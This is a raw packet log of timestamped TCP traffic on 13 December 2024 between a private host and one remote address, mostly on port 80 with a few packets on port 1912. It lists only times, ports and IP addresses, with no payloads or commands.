Dec 13, 2024 08:19:02.956103086 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.956403971 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.956471920 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.964591026 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.964642048 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.965117931 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.973074913 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.973093987 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.973149061 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.981342077 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.981771946 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.981867075 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.985304117 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.989728928 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.989787102 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.989876986 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.998049021 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.998122931 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.999104977 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.006465912 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.006531954 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.006603956 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.037959099 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.037970066 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.038028955 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.055421114 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.055433989 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.055486917 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.106029987 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.106136084 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.116261959 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.127432108 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.127450943 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.127532959 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.128611088 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.128803015 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.128849030 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.133488894 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.133506060 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.133579969 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.138219118 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.138406992 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.138468981 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.143265009 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.143279076 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.143341064 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.147968054 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.147980928 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.148056984 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.152652979 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.152667046 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.152712107 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.157195091 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.157520056 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.157612085 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.162066936 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.162425995 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.163300037 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.166851044 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.166927099 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.167031050 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.171690941 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.171710968 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.171763897 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.176306963 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.176388979 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.176652908 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.181123972 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.181310892 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.181413889 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.185905933 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.185920000 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.185972929 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.190035105 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.190049887 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.190104008 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.193556070 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.193571091 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.193634033 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.197422981 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.197437048 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.197488070 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.201205015 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.201221943 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.201293945 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.205419064 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.205431938 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.205514908 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.208918095 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.208937883 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.208986998 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.212646008 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.236013889 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.261888981 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.319767952 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.319786072 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.319889069 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.321046114 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.321152925 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.321217060 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.324140072 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.324151039 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.324336052 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.327438116 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.327449083 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.327505112 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.330514908 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.330524921 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.330581903 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.332809925 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.332820892 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.332889080 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.335419893 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.335561037 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.335772038 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.338121891 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.338814020 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.338867903 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.341169119 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.341181040 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.341250896 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.344568968 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.344580889 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.344645023 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.346277952 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.346332073 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.346379995 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.349864006 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.349875927 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.349951982 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.351640940 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.351737022 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.351795912 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.355169058 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.355180979 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.355232954 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.357142925 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.357399940 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.357494116 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.360656977 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.360667944 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.360717058 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.362437010 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.362503052 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.362590075 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.365653038 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.365664005 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.365708113 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.367708921 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.367796898 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.367851973 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.370963097 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.370975018 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.371030092 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.373117924 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.373188019 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.373260021 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.376369953 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.376382113 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.376444101 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.378540039 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.378673077 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.378717899 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.381007910 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.381705046 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.381755114 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.384655952 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.384665966 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.384723902 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.387243986 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.387254953 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.387335062 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.389154911 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.389611006 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.389672041 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.391788006 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.392168999 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.392224073 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.394490957 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.394567013 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.394783974 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.397212029 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.397289038 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.397346020 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.399941921 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.399952888 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.400012970 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.402740002 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.402750015 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.402798891 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.405457973 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.405669928 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.405730009 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.408008099 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.408231974 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.408274889 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.410636902 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.410779953 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.410819054 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.413382053 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.465023994 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.511697054 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.511998892 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.512061119 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.512990952 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.513286114 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.513303041 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.513350964 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.515611887 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.515630007 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.515688896 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.517839909 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.517898083 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.517920017 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.520090103 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.520117044 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.520172119 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.522396088 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.522413015 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.522449970 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.524394035 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.524475098 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.524502993 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.526453972 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.526506901 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.526542902 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.528775930 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.528794050 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.528827906 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.530632973 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.530689001 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.530808926 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.533014059 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.533030987 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.533061981 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.534802914 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.534832954 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.534882069 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.536696911 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.536783934 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.537997961 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.539007902 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.539025068 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.539056063 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.540782928 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.540801048 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.540833950 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.542681932 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.542761087 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.542812109 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.544646025 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.544701099 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.544734955 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.547558069 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.547574997 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.547630072 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.548719883 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.548919916 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.549031973 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.554192066 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.554208994 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.554267883 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.556035042 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.556162119 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.556164980 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.556657076 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.556673050 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.556701899 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.557255983 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.557306051 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.557333946 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.558573961 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.558667898 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.559844971 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.563458920 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.563476086 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.563509941 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.565134048 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.565149069 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.565191031 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.567814112 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.567966938 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.568003893 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.569215059 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.569231987 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.569259882 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.570991993 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.571052074 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.571342945 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.572932959 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.572948933 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.572981119 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.576580048 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.576598883 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.576626062 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.578483105 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.578500032 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.578543901 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.579900980 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.579961061 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.580048084 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.581898928 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.581947088 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.582045078 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.583899021 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.583947897 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.584661961 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.585764885 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.585812092 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.585947037 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.587908030 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.587958097 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.588064909 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.589865923 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.589952946 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.590476990 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.591876984 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.591924906 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.592036963 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.593616009 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.593663931 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.593776941 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.595562935 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.595613003 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.595865011 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.597660065 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.597708941 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.597826004 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.599750996 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.599843979 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.599886894 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.601705074 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.601778030 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.601843119 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.602154970 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.602171898 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.602214098 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.602514029 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.602561951 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.602679014 CET	80	49755	185.81.68.147	192.168.2.11
